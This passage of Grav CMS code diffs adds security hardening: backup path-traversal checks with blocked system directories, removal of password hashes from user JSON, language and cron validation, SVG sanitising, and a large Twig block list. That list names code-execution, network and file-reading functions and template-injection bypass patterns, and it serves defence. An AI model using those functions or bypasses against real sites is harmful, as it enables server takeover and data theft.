<ul class="quarantine-list">
<?php foreach ($quarantine as $entry): ?>
<li>
<span class="plugin-name"><?php echo htmlspecialchars($entry['slug'], ENT_QUOTES, 'UTF-8'); ?></span>
<span class="plugin-time">Disabled at <?php echo date('Y-m-d H:i:s', $entry['disabled_at']); ?></span>
<?php if (!empty($entry['message'])): ?>
<div style="margin-top: 4px; font-size: 0.85rem; color: #94a3b8;"><?php echo htmlspecialchars($entry['message'], ENT_QUOTES, 'UTF-8'); ?></div>
<?php endif; ?>
</li>
<?php endforeach; ?>
</ul>
</div>
<?php endif; ?>
<div class="card">
<h2>What would you like to do?</h2>
<p style="margin-top: 0; color: #94a3b8;">Choose an action to resolve this issue:</p>
<div class="btn-group">
<form method="post" style="display: contents;">
<input type="hidden" name="action" value="clear-flag">
<button type="submit" class="btn btn-primary">Clear Recovery &amp; Continue</button>
</form>
<form method="post" style="display: contents;">
<input type="hidden" name="action" value="disable-recovery">
<button type="submit" class="btn btn-secondary" title="Prevents recovery mode from activating in the future">Disable Recovery Mode</button>
</form>
</div>
<p class="help-text">
<strong>Clear Recovery &amp; Continue:</strong> Clears the recovery flag and attempts to load your site normally.<br>
<strong>Disable Recovery Mode:</strong> Sets <code>updates.recovery_mode: false</code> in your configuration so recovery mode won't trigger again.
</p>
</div>
<?php if ($latestSnapshot): ?>
<div class="card">
<h2>Rollback to Previous Version</h2>
<p style="margin-top: 0; color: #94a3b8;">If the error persists, you can rollback to a previous Grav version.</p>
<div class="snapshot-info">
<code><?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?></code>
<?php if (!empty($latestSnapshot['label'])): ?>
<small><?php echo htmlspecialchars($latestSnapshot['label'], ENT_QUOTES, 'UTF-8'); ?></small>
<?php endif; ?>
<small>Grav <?php echo htmlspecialchars($latestSnapshot['target_version'] ?? 'unknown', ENT_QUOTES, 'UTF-8'); ?> &mdash; Created <?php echo date('Y-m-d H:i:s', (int)$latestSnapshot['created_at']); ?></small>
</div>
<?php if (!$authenticated): ?>
<p class="help-text">To rollback, enter the recovery token found in <code>user/data/recovery.flag</code></p>
<form method="post">
<input type="hidden" name="action" value="authenticate">
<label for="token">Recovery Token</label>
<input id="token" name="token" type="text" autocomplete="one-time-code" placeholder="Enter token from recovery.flag" required>
<div class="btn-group">
<button type="submit" class="btn btn-secondary">Authenticate for Rollback</button>
</div>
</form>
<?php else: ?>
<form method="post">
<input type="hidden" name="action" value="rollback">
<input type="hidden" name="manifest" value="<?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?>">
<div class="btn-group">
<button type="submit" class="btn btn-danger">Rollback to This Snapshot</button>
</div>
</form>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
</body>

View File

@@ -472,7 +472,23 @@ class Assets extends PropertyObject
$group_attributes = array_merge($attributes, $pipeline_group['attributes']);
$pipeline = new Pipeline($options);
$pipeline_output .= $pipeline->$render_pipeline($pipeline_group['assets'], $group, $group_attributes);
$result = $pipeline->$render_pipeline($pipeline_group['assets'], $group, $group_attributes);
// Handle different return types from pipeline
if ($result === false) {
// No assets to render
continue;
} elseif (is_array($result)) {
// Array result contains pipelined output and any failed assets
$pipeline_output .= $result['output'];
// Render failed assets individually (they couldn't be minified)
foreach ($result['failed'] as $asset) {
$pipeline_output .= $asset->render();
}
} else {
// String result (no minification or CSS)
$pipeline_output .= $result;
}
}
} else {
foreach ($pipeline_assets as $asset) {

View File

@@ -11,6 +11,7 @@ namespace Grav\Common\Assets;
use Grav\Common\Assets\Traits\AssetUtilsTrait;
use Grav\Common\Config\Config;
use Grav\Common\Debugger;
use Grav\Common\Filesystem\Folder;
use Grav\Common\Grav;
use Grav\Common\Uri;
@@ -170,7 +171,9 @@ class Pipeline extends PropertyObject
* @param array $assets
* @param string $group
* @param array $attributes
* @return bool|string URL or generated content if available, else false
* @param int $type
* @return array{output: string, failed: array}|string|false Returns array with output and failed assets when minifying,
* string when not minifying, or false if no assets
*/
public function renderJs($assets, $group, $attributes = [], $type = self::JS_ASSET)
{
@@ -185,42 +188,55 @@ class Pipeline extends PropertyObject
// Store Attributes
$this->attributes = $attributes;
// Compute uid based on assets and timestamp
$json_assets = json_encode($assets);
$uid = md5($json_assets . $this->js_minify . $group);
$file = $uid . '.js';
$relative_path = "{$this->base_url}{$this->assets_url}/{$file}";
$filepath = "{$this->assets_dir}/{$file}";
if (file_exists($filepath)) {
$buffer = file_get_contents($filepath) . "\n";
} else {
//if nothing found get out of here!
if (empty($assets)) {
return false;
}
// Concatenate files
$buffer = $this->gatherLinks($assets, $type);
// Minify if required
if ($this->shouldMinify('js')) {
$buffer = JSMinifier::minify($buffer);
}
// Write file
if (trim($buffer) !== '') {
file_put_contents($filepath, $buffer);
}
//if nothing found get out of here!
if (empty($assets)) {
return false;
}
if ($inline_group) {
$shouldMinify = $this->shouldMinify('js');
$failedAssets = [];
// When minifying, process each file individually to isolate failures
if ($shouldMinify) {
$result = $this->gatherAndMinifyJs($assets, $type);
$buffer = $result['buffer'];
$failedAssets = $result['failed'];
// Compute uid based on successful assets only
$successfulAssets = array_diff_key($assets, array_flip(array_keys($failedAssets)));
$json_assets = json_encode($successfulAssets);
} else {
$buffer = $this->gatherLinks($assets, $type);
$json_assets = json_encode($assets);
}
$uid = md5($json_assets . (int)$shouldMinify . $group);
$file = $uid . '.js';
$relative_path = "{$this->base_url}{$this->assets_url}/{$file}";
$filepath = "{$this->assets_dir}/{$file}";
// Check for cached version (only if no failed assets, as cache key changes)
if (empty($failedAssets) && file_exists($filepath)) {
$buffer = file_get_contents($filepath) . "\n";
} elseif (trim($buffer) !== '') {
// Write file
file_put_contents($filepath, $buffer);
}
if (trim($buffer) === '') {
$output = '';
} elseif ($inline_group) {
$output = '<script' . $this->renderAttributes(). ">\n" . $buffer . "\n</script>\n";
} else {
$this->asset = $relative_path;
$output = '<script src="' . $relative_path . $this->renderQueryString() . '"' . $this->renderAttributes() . BaseAsset::integrityHash($this->asset) . "></script>\n";
}
// Return array with failed assets if minifying, otherwise just the output string
if ($shouldMinify) {
return ['output' => $output, 'failed' => $failedAssets];
}
return $output;
}
@@ -341,4 +357,75 @@ class Pipeline extends PropertyObject
return $minify;
}
/**
* Gather JS files and minify each one individually.
* Files that fail minification are tracked and returned separately.
*
* @param array $assets Array of asset objects
* @param int $type Asset type (JS_ASSET or JS_MODULE_ASSET)
* @return array{buffer: string, failed: array} Combined minified content and failed assets
*/
private function gatherAndMinifyJs(array $assets, int $type): array
{
$buffer = '';
$failed = [];
/** @var Debugger $debugger */
$debugger = Grav::instance()['debugger'];
foreach ($assets as $key => $asset) {
$local = true;
$link = $asset->getAsset();
$relative_path = $link;
if (static::isRemoteLink($link)) {
$local = false;
if (str_starts_with((string) $link, '//')) {
$link = 'http:' . $link;
}
$relative_dir = dirname((string) $relative_path);
} else {
// Fix to remove relative dir if grav is in one
if (($this->base_url !== '/') && Utils::startsWith($relative_path, $this->base_url)) {
$base_url = '#' . preg_quote($this->base_url, '#') . '#';
$relative_path = ltrim((string) preg_replace($base_url, '/', (string) $link, 1), '/');
}
$relative_dir = dirname((string) $relative_path);
$link = GRAV_ROOT . '/' . $relative_path;
}
$file = $this->fetch_command instanceof \Closure ? @$this->fetch_command->__invoke($link) : @file_get_contents($link);
// No file found, skip it...
if ($file === false) {
continue;
}
// Ensure proper termination
$file = rtrim((string) $file, ' ;') . ';';
// Rewrite imports for JS modules
if ($type === self::JS_MODULE_ASSET) {
$file = $this->jsRewrite($file, $relative_dir, $local);
}
// Try to minify this individual file
try {
$file = JSMinifier::minify($file);
$file = rtrim($file) . PHP_EOL;
$buffer .= $file;
} catch (\Exception $e) {
// Track failed asset for individual rendering
$failed[$key] = $asset;
$message = "JS Minification failed for '{$asset->getAsset()}': {$e->getMessage()}";
$debugger->addMessage($message, 'error');
Grav::instance()['log']->error($message);
}
}
return ['buffer' => $buffer, 'failed' => $failed];
}
}

View File

@@ -89,8 +89,9 @@ class Backups
$at = $profile['schedule_at'];
$name = $inflector::hyphenize($profile['name']);
$logs = 'logs/backup-' . $name . '.out';
$environment = $profile['schedule_environment'] ?? null;
/** @var Job $job */
$job = $scheduler->addFunction('Grav\Common\Backup\Backups::backup', [$id], $name);
$job = $scheduler->addFunction('Grav\Common\Backup\Backups::backup', [$id, null, $environment], $name);
$job->at($at);
$job->output($logs);
$job->backlink('/tools/backups');
@@ -192,12 +193,19 @@ class Backups
*
* @param int $id
* @param callable|null $status
* @param string|null $environment Optional environment to load config from
* @return string|null
*/
public static function backup($id = 0, ?callable $status = null)
public static function backup($id = 0, ?callable $status = null, ?string $environment = null)
{
$grav = Grav::instance();
// If environment is specified and different from current, reload config
if ($environment && $environment !== $grav['config']->get('setup.environment')) {
$grav->setup($environment);
$grav['config']->reload();
}
$profiles = static::getBackupProfiles();
/** @var UniformResourceLocator $locator */
$locator = $grav['locator'];
@@ -225,6 +233,30 @@ class Backups
throw new RuntimeException("Backup location: {$backup_root} does not exist...");
}
// Security: Resolve real path and ensure it's within GRAV_ROOT to prevent path traversal
$realBackupRoot = realpath($backup_root);
$realGravRoot = realpath(GRAV_ROOT);
if ($realBackupRoot === false || $realGravRoot === false) {
throw new RuntimeException("Invalid backup location: {$backup_root}");
}
// Check if backup root is within GRAV_ROOT
$isWithinGravRoot = strpos($realBackupRoot, $realGravRoot) === 0;
// Only apply blocklist to paths outside GRAV_ROOT to prevent backing up system directories
// This allows backups within Grav installations under /var/www while still blocking /var/log, etc.
if (!$isWithinGravRoot) {
$blockedPaths = ['/etc', '/root', '/home', '/var', '/usr', '/bin', '/sbin', '/tmp', '/proc', '/sys', '/dev'];
foreach ($blockedPaths as $blocked) {
if (strpos($realBackupRoot, $blocked) === 0) {
throw new RuntimeException("Backup location not allowed: {$backup_root}");
}
}
}
$backup_root = $realBackupRoot;
$options = [
'exclude_files' => static::convertExclude($backup->exclude_files ?? ''),
'exclude_paths' => static::convertExclude($backup->exclude_paths ?? ''),

View File

@@ -28,6 +28,7 @@ trait CompiledFile
/**
* Get/set parsed file contents.
*
* @param mixed $var
* @return array
*/
public function content(mixed $var = null)
@@ -36,19 +37,44 @@ trait CompiledFile
$filename = $this->filename;
// If nothing has been loaded, attempt to get pre-compiled version of the file first.
if ($var === null && $this->raw === null && $this->content === null) {
$key = md5((string) $filename);
$key = md5($filename);
$file = PhpFile::instance(CACHE_DIR . "compiled/files/{$key}{$this->extension}.php");
$cacheFilename = $file->filename();
// Always check file modification time for cache invalidation.
// This respects Grav's cache.check.method setting and user expectations.
// filemtime() is cheap and ensures changes are detected.
$modified = $this->modified();
if (!$modified) {
// If file hasn't been modified and cache exists, load from compiled cache.
// When opcache is enabled, this benefits from bytecode caching.
if (!$modified && is_file($cacheFilename)) {
try {
return $this->decode($this->raw());
// Include the file directly to trigger loading from opcache
$var = (array) include $cacheFilename;
if (is_array($var) && isset($var['data'])) {
$var = $var['data'];
} else {
$var = null;
}
if (!is_array($var)) {
$var = $this->decode($this->raw());
}
return $var;
} catch (Throwable) {
// If the compiled file is broken, we can safely ignore the error and continue.
}
}
$class = $this::class;
$class = get_class($this);
// Check if the source file exists before getting its size
if (!is_file($filename)) {
return parent::content($var);
}
$size = filesize($filename);
$cache = $file->exists() ? $file->content() : null;
@@ -88,11 +114,9 @@ trait CompiledFile
// Compile cached file into bytecode cache
if (function_exists('opcache_invalidate') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) {
$lockName = $file->filename();
// Silence error if function exists, but is restricted.
@opcache_invalidate($lockName, true);
@opcache_compile_file($lockName);
@opcache_invalidate($cacheFilename, true);
@opcache_compile_file($cacheFilename);
}
}
}
@@ -134,7 +158,7 @@ trait CompiledFile
if ($locked) {
$modified = $this->modified();
$filename = $this->filename;
$class = $this::class;
$class = get_class($this);
$size = filesize($filename);
// windows doesn't play nicely with this as it can't read when locked
@@ -158,10 +182,10 @@ trait CompiledFile
// Compile cached file into bytecode cache
if (function_exists('opcache_invalidate') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) {
$lockName = $file->filename();
$cacheFilename = $file->filename();
// Silence error if function exists, but is restricted.
@opcache_invalidate($lockName, true);
@opcache_compile_file($lockName);
@opcache_invalidate($cacheFilename, true);
@opcache_compile_file($cacheFilename);
}
}
}

View File

@@ -349,6 +349,22 @@ class UserObject extends FlexObject implements UserInterface, Countable
return $this->getGroups();
}
/**
* {@inheritdoc}
* Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$elements = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($elements['hashed_password']);
unset($elements['secret']); // 2FA secret
unset($elements['twofa_secret']); // Alternative 2FA field name
return $elements;
}
/**
* Convert object into an array.
*
@@ -583,10 +599,19 @@ class UserObject extends FlexObject implements UserInterface, Countable
{
// TODO: We may want to handle this in the storage layer in the future.
$key = $this->getStorageKey();
if (!$key || strpos($key, '@@')) {
$isNewUser = !$key || strpos($key, '@@');
if ($isNewUser) {
$storage = $this->getFlexDirectory()->getStorage();
if ($storage instanceof FileStorage) {
$this->setStorageKey($this->getKey());
$newKey = $this->getKey();
// Check if a user with this username already exists (prevent overwriting)
if ($storage->hasKey($newKey)) {
throw new RuntimeException('User account with this username already exists');
}
$this->setStorageKey($newKey);
}
}

View File

@@ -134,7 +134,17 @@ class Language
*/
public function setLanguages($langs)
{
$this->languages = $langs;
// Validate and sanitize language codes to prevent regex injection
$validLangs = [];
foreach ((array)$langs as $lang) {
$lang = (string)$lang;
// Only allow valid language codes (alphanumeric, hyphens, underscores)
// Examples: en, en-US, en_US, zh-Hans, pt-BR
if (preg_match('/^[a-zA-Z]{2,3}(?:[-_][a-zA-Z0-9]{2,8})?$/', $lang)) {
$validLangs[] = $lang;
}
}
$this->languages = $validLangs;
$this->init();
}
@@ -234,7 +244,8 @@ class Language
*/
public function setActiveFromUri($uri)
{
$regex = '/(^\/(' . $this->getAvailable() . '))(?:\/|\?|$)/i';
// Pass delimiter '/' to getAvailable() to properly escape language codes for regex
$regex = '/(^\/(' . $this->getAvailable('/') . '))(?:\/|\?|$)/i';
// if languages set
if ($this->enabled()) {

View File

@@ -156,6 +156,7 @@ class RecoveryManager
'message' => $exception->getMessage(),
'file' => $exception->getFile(),
'line' => $exception->getLine(),
'trace' => $exception->getTraceAsString(),
];
$this->processFailure($error);
@@ -222,6 +223,7 @@ class RecoveryManager
'line' => $error['line'] ?? null,
'type' => $type,
'plugin' => $plugin,
'trace' => $error['trace'] ?? null,
];
if (!$this->shouldEnterRecovery($context)) {
@@ -344,10 +346,16 @@ class RecoveryManager
return null;
}
// Standard path: /user/plugins/plugin-name/
if (preg_match('#/user/plugins/([^/]+)/#', $file, $matches)) {
return $matches[1] ?? null;
}
// Symlinked plugin path: /grav-plugin-plugin-name/ (common dev setup)
if (preg_match('#/grav-plugin-([^/]+)/#', $file, $matches)) {
return $matches[1] ?? null;
}
return null;
}
@@ -400,6 +408,11 @@ class RecoveryManager
*/
private function shouldEnterRecovery(array $context): bool
{
// Check if recovery mode is enabled in config
if (!$this->isEnabled()) {
return false;
}
$window = $this->resolveUpgradeWindow();
if (null === $window) {
return false;
@@ -416,6 +429,31 @@ class RecoveryManager
return true;
}
/**
* Check if recovery mode is enabled in system config (updates.recovery_mode).
*
* @return bool
*/
public function isEnabled(): bool
{
$configFile = $this->userPath . '/config/system.yaml';
if (!is_file($configFile)) {
return true; // Default enabled
}
$content = file_get_contents($configFile);
if ($content === false) {
return true;
}
// Simple regex-based check to avoid loading full YAML parser
if (preg_match('/^\s*updates:\s*\n(?:\s+\w+:.*\n)*?\s+recovery_mode:\s*(true|false|1|0)\s*$/m', $content, $matches)) {
return in_array(strtolower($matches[1]), ['true', '1'], true);
}
return true; // Default enabled
}
/**
* @return string
*/

View File

@@ -21,14 +21,19 @@ trait IntervalTrait
{
/**
* Set the Job execution time.
*compo
*
* @param string $expression
* @return self
*/
public function at($expression)
{
$this->at = $expression;
$this->executionTime = CronExpression::factory($expression);
try {
$this->executionTime = CronExpression::factory($expression);
} catch (InvalidArgumentException $e) {
// Invalid cron expression - set to null to prevent DoS
$this->executionTime = null;
}
return $this;
}

View File

@@ -193,11 +193,32 @@ class Job
}
/**
* @return CronExpression
* @return CronExpression|null
*/
public function getCronExpression()
{
return CronExpression::factory($this->at);
try {
return CronExpression::factory($this->at);
} catch (\InvalidArgumentException $e) {
// Invalid cron expression - return null to prevent DoS
return null;
}
}
/**
* Validate a cron expression
*
* @param string $expression
* @return bool
*/
public static function isValidCronExpression(string $expression): bool
{
try {
CronExpression::factory($expression);
return true;
} catch (\InvalidArgumentException $e) {
return false;
}
}
/**

View File

@@ -51,6 +51,7 @@ class Security
{
if (Grav::instance()['config']->get('security.sanitize_svg')) {
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$sanitizer->addDisallowedAttributes(['href', 'xlink:href']);
$sanitized = $sanitizer->sanitize($svg);
if (is_string($sanitized)) {
$svg = $sanitized;
@@ -70,6 +71,7 @@ class Security
{
if (file_exists($file) && Grav::instance()['config']->get('security.sanitize_svg')) {
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$sanitizer->addDisallowedAttributes(['href', 'xlink:href']);
$original_svg = file_get_contents($file);
$clean_svg = $sanitizer->sanitize($original_svg);
@@ -222,8 +224,9 @@ class Security
// Set the patterns we'll test against
$patterns = [
// Match any attribute starting with "on" or xmlns
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
// Match any attribute starting with "on" or xmlns (must be preceded by whitespace/special chars)
// Allow optional whitespace between 'on' and event name to catch obfuscation attempts
'on_events' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s*[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols
'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',
@@ -241,8 +244,16 @@ class Security
// Iterate over rules and return label if fail
foreach ($patterns as $name => $regex) {
if (!empty($enabled_rules[$name])) {
if (preg_match($regex, (string) $string) || preg_match($regex, (string) $stripped) || preg_match($regex, $orig)) {
return $name;
// Skip testing 'on_events' against stripped version to avoid false positives
// with tags like <caption>, <button>, <section> that end with 'on' or contain 'on'
if ($name === 'on_events') {
if (preg_match($regex, (string) $string) || preg_match($regex, $orig)) {
return $name;
}
} else {
if (preg_match($regex, (string) $string) || preg_match($regex, (string) $stripped) || preg_match($regex, $orig)) {
return $name;
}
}
}
}
@@ -262,29 +273,161 @@ class Security
];
}
/** @var string|null Cached regex pattern for dangerous functions in Twig blocks */
private static ?string $dangerousTwigFunctionsPattern = null;
/** @var string|null Cached regex pattern for dangerous properties */
private static ?string $dangerousTwigPropertiesPattern = null;
/** @var string|null Cached regex pattern for dangerous function calls */
private static ?string $dangerousFunctionCallsPattern = null;
/** @var string|null Cached regex pattern for string concatenation bypass */
private static ?string $dangerousJoinPattern = null;
/**
* Get compiled dangerous Twig patterns (cached for performance)
*
* @return array{functions: string, properties: string, calls: string, join: string}
*/
private static function getDangerousTwigPatterns(): array
{
if (self::$dangerousTwigFunctionsPattern === null) {
// Dangerous Twig functions and methods that should be blocked
$bad_twig_functions = [
// Twig internals
'twig_array_map', 'twig_array_filter', 'call_user_func', 'call_user_func_array',
'forward_static_call', 'forward_static_call_array',
// Twig environment manipulation
'registerUndefinedFunctionCallback', 'registerUndefinedFilterCallback',
'undefined_functions', 'undefined_filters',
// File operations
'read_file', 'file_get_contents', 'file_put_contents', 'fopen', 'fread', 'fwrite',
'fclose', 'readfile', 'file', 'fpassthru', 'fgetcsv', 'fputcsv', 'ftruncate',
'fputs', 'fgets', 'fgetc', 'fflush', 'flock', 'glob', 'rename', 'copy', 'unlink',
'rmdir', 'mkdir', 'symlink', 'link', 'chmod', 'chown', 'chgrp', 'touch', 'tempnam',
'parse_ini_file', 'highlight_file', 'show_source',
// Code execution
'exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'proc_close',
'proc_terminate', 'proc_nice', 'proc_get_status', 'pcntl_exec', 'pcntl_fork',
'pcntl_signal', 'pcntl_alarm', 'pcntl_setpriority', 'eval', 'assert',
'create_function', 'preg_replace', 'preg_replace_callback', 'ob_start',
// Dynamic evaluation
'evaluate_twig', 'evaluate',
// Serialization
'unserialize', 'serialize', 'var_export', 'token_get_all',
// Network functions (SSRF)
'curl_init', 'curl_exec', 'curl_multi_exec', 'fsockopen', 'pfsockopen',
'socket_create', 'stream_socket_client', 'stream_socket_server',
// Info disclosure
'phpinfo', 'getenv', 'putenv', 'get_current_user', 'getmyuid', 'getmygid',
'getmypid', 'get_cfg_var', 'ini_get', 'ini_set', 'ini_alter', 'ini_restore',
'get_defined_vars', 'get_defined_functions', 'get_defined_constants',
'get_loaded_extensions', 'get_extension_funcs', 'phpversion', 'php_uname',
// Reflection
'ReflectionClass', 'ReflectionFunction', 'ReflectionMethod',
'ReflectionProperty', 'ReflectionObject',
// Include/require
'include', 'include_once', 'require', 'require_once',
// Callback arrays
'array_map', 'array_filter', 'array_reduce', 'array_walk', 'array_walk_recursive',
'usort', 'uasort', 'uksort', 'iterator_apply',
// Output manipulation
'header', 'headers_sent', 'header_remove', 'http_response_code',
// Mail
'mail',
// Misc dangerous
'extract', 'parse_str', 'register_shutdown_function', 'register_tick_function',
'set_error_handler', 'set_exception_handler', 'spl_autoload_register',
'apache_child_terminate', 'posix_kill', 'posix_setpgid', 'posix_setsid',
'posix_setuid', 'posix_setgid', 'posix_mkfifo', 'dl',
// XML (XXE)
'simplexml_load_file', 'simplexml_load_string', 'DOMDocument', 'XMLReader',
// Database
'mysqli_query', 'pg_query', 'sqlite_query',
];
// Dangerous property/method access patterns (regex patterns)
$bad_twig_properties = [
// Twig environment access
'twig\.twig\b', 'grav\.twig\.twig\b', 'twig\.(?:get|add|set)(?:Function|Filter|Extension|Loader|Cache|Runtime)',
'twig\.addRuntimeLoader',
// Config modification
'config\.set\s*\(', 'grav\.config\.set\s*\(', '\.safe_functions', '\.safe_filters',
'\.undefined_functions', '\.undefined_filters', 'twig_vars\[', 'config\.join\s*\(',
// Scheduler access
'grav\.scheduler\b', 'scheduler\.(?:addCommand|save|run|add|remove)\s*\(?',
// Core escaper
'core\.setEscaper', 'setEscaper\s*\(',
// Context access
'_context\b', '_self\b', '_charset\b',
// User modification
'grav\.user\.(?:update|save)\s*\(', 'grav\.accounts\.user\s*\([^)]*\)\.(?:update|save)',
'\.(?:set|setNested)Property\s*\(',
// Flex objects
'(?:get)?[Ff]lexDirectory\s*\(',
// Locator write mode
'grav\.locator\.findResource\s*\([^)]*,\s*true',
// Plugin/theme manipulation
'grav\.(?:plugins|themes)\.get\s*\(',
// Session manipulation
'session\.(?:set|setFlash)\s*\(',
// Cache manipulation
'cache\.(?:delete|clear|purge)',
// Backups and GPM
'grav\.(?:backups|gpm)\b',
];
// Build combined patterns (compile once, use many times)
// Use word boundaries to avoid false positives (e.g., 'mail' matching 'email')
$quotedFunctions = array_map(fn($f) => '\b' . preg_quote($f, '/') . '\b', $bad_twig_functions);
$functionsPattern = implode('|', $quotedFunctions);
// Pattern for functions in Twig blocks
self::$dangerousTwigFunctionsPattern = '/(({{\s*|{%\s*)[^}]*?(' . $functionsPattern . ')[^}]*?(\s*}}|\s*%}))/i';
// Pattern for properties (already regex patterns, just combine)
$propertiesPattern = implode('|', $bad_twig_properties);
self::$dangerousTwigPropertiesPattern = '/(({{\s*|{%\s*)[^}]*?(' . $propertiesPattern . ')[^}]*?(\s*}}|\s*%}))/i';
// Pattern for function calls outside Twig blocks (for nested eval)
self::$dangerousFunctionCallsPattern = '/\b(' . $functionsPattern . ')\s*\(/i';
// Pattern for string concatenation bypass attempts
$suspiciousFragments = ['safe_func', 'safe_filt', 'undefined_', 'scheduler', 'registerUndefined', '_context', 'setEscaper'];
$fragmentsPattern = implode('|', array_map(fn($f) => preg_quote($f, '/'), $suspiciousFragments));
self::$dangerousJoinPattern = '/(({{\s*|{%\s*)[^}]*?\[[^\]]*[\'"](' . $fragmentsPattern . ')[\'"][^\]]*\]\s*\|\s*join[^}]*?(\s*}}|\s*%}))/i';
}
return [
'functions' => self::$dangerousTwigFunctionsPattern,
'properties' => self::$dangerousTwigPropertiesPattern,
'calls' => self::$dangerousFunctionCallsPattern,
'join' => self::$dangerousJoinPattern,
];
}
public static function cleanDangerousTwig(string $string): string
{
if ($string === '') {
// Early exit for empty strings or strings without Twig
if ($string === '' || (strpos($string, '{{') === false && strpos($string, '{%') === false)) {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
// Get cached compiled patterns
$patterns = self::getDangerousTwigPatterns();
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
// Pass 1: Block dangerous functions in Twig blocks
$string = preg_replace($patterns['functions'], '{# BLOCKED: $1 #}', $string);
foreach ($bad_twig as $func) {
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
}
// Pass 2: Block dangerous property access patterns
$string = preg_replace($patterns['properties'], '{# BLOCKED: $1 #}', $string);
// Pass 3: Block dangerous function calls (for nested eval bypass)
$string = preg_replace($patterns['calls'], '{# BLOCKED: $0 #}', $string);
// Pass 4: Block string concatenation bypass attempts
$string = preg_replace($patterns['join'], '{# BLOCKED: $1 #}', $string);
return $string;
}

View File

@@ -20,6 +20,7 @@ use Grav\Common\Language\Language;
use Grav\Framework\Mime\MimeTypes;
use Pimple\Container;
use Pimple\ServiceProviderInterface;
use RocketTheme\Toolbox\File\PhpFile;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
@@ -85,15 +86,30 @@ class ConfigServiceProvider implements ServiceProviderInterface
/** @var UniformResourceLocator $locator */
$locator = $container['locator'];
$cache = $locator->findResource('cache://compiled/blueprints', true, true);
$cache = $locator->findResource('cache://compiled/blueprints', true, true);
$files = [];
$paths = $locator->findResources('blueprints://config');
$files += (new ConfigFileFinder)->locateFiles($paths);
$paths = $locator->findResources('plugins://');
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'blueprints');
$paths = $locator->findResources('themes://');
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths, 'blueprints');
// Try to load cached file list to avoid filesystem scanning on every request
$files = static::loadCachedFileList($locator, $cache, 'blueprints', $setup->environment);
if ($files === null) {
// Cache miss - scan filesystem for blueprint files
$files = [];
$paths = $locator->findResources('blueprints://config');
$files += (new ConfigFileFinder)->locateFiles($paths);
$paths = $locator->findResources('plugins://');
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'blueprints');
$paths = $locator->findResources('themes://');
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths, 'blueprints');
// Save file list cache for next request
static::saveCachedFileList($locator, $cache, 'blueprints', $setup->environment, $files);
// Also invalidate the compiled blueprints cache to force rebuild
$masterBlueprints = "{$cache}/master-{$setup->environment}.php";
if (file_exists($masterBlueprints)) {
@unlink($masterBlueprints);
}
}
$blueprints = new CompiledBlueprints($cache, $files, GRAV_ROOT);
@@ -112,15 +128,30 @@ class ConfigServiceProvider implements ServiceProviderInterface
/** @var UniformResourceLocator $locator */
$locator = $container['locator'];
$cache = $locator->findResource('cache://compiled/config', true, true);
$cache = $locator->findResource('cache://compiled/config', true, true);
$files = [];
$paths = $locator->findResources('config://');
$files += (new ConfigFileFinder)->locateFiles($paths);
$paths = $locator->findResources('plugins://');
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths);
$paths = $locator->findResources('themes://');
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths);
// Try to load cached file list to avoid filesystem scanning on every request
$files = static::loadCachedFileList($locator, $cache, 'config', $setup->environment);
if ($files === null) {
// Cache miss - scan filesystem for config files
$files = [];
$paths = $locator->findResources('config://');
$files += (new ConfigFileFinder)->locateFiles($paths);
$paths = $locator->findResources('plugins://');
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths);
$paths = $locator->findResources('themes://');
$files += (new ConfigFileFinder)->setBase('themes')->locateInFolders($paths);
// Save file list cache for next request
static::saveCachedFileList($locator, $cache, 'config', $setup->environment, $files);
// Also invalidate the compiled config cache to force rebuild
$masterConfig = "{$cache}/master-{$setup->environment}.php";
if (file_exists($masterConfig)) {
@unlink($masterConfig);
}
}
$compiled = new CompiledConfig($cache, $files, GRAV_ROOT);
$compiled->setBlueprints(fn() => $container['blueprints']);
@@ -151,12 +182,28 @@ class ConfigServiceProvider implements ServiceProviderInterface
// Process languages only if enabled in configuration.
if ($config->get('system.languages.translations', true)) {
$paths = $locator->findResources('languages://');
$files += (new ConfigFileFinder)->locateFiles($paths);
$paths = $locator->findResources('plugins://');
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'languages');
$paths = static::pluginFolderPaths($paths, 'languages');
$files += (new ConfigFileFinder)->locateFiles($paths);
// Try to load cached file list to avoid filesystem scanning on every request
$files = static::loadCachedFileList($locator, $cache, 'languages', $setup->environment);
if ($files === null) {
// Cache miss - scan filesystem for language files
$files = [];
$paths = $locator->findResources('languages://');
$files += (new ConfigFileFinder)->locateFiles($paths);
